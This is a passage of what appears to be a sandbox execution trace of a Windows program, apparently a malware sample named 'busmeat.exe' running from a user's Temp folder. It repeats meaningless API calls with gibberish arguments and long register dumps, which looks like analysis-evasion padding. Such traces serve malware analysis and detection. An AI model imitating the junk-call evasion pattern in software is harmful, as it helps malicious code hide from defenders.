[329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.144] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.145] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.145] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.145] GetConsoleCP () returned 0x0
	[0066.145] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.146] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.147] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.147] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.147] GetConsoleCP () returned 0x0
	[0066.147] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.147] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.147] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.147] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.147] GetConsoleCP () returned 0x0
	[0066.147] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, 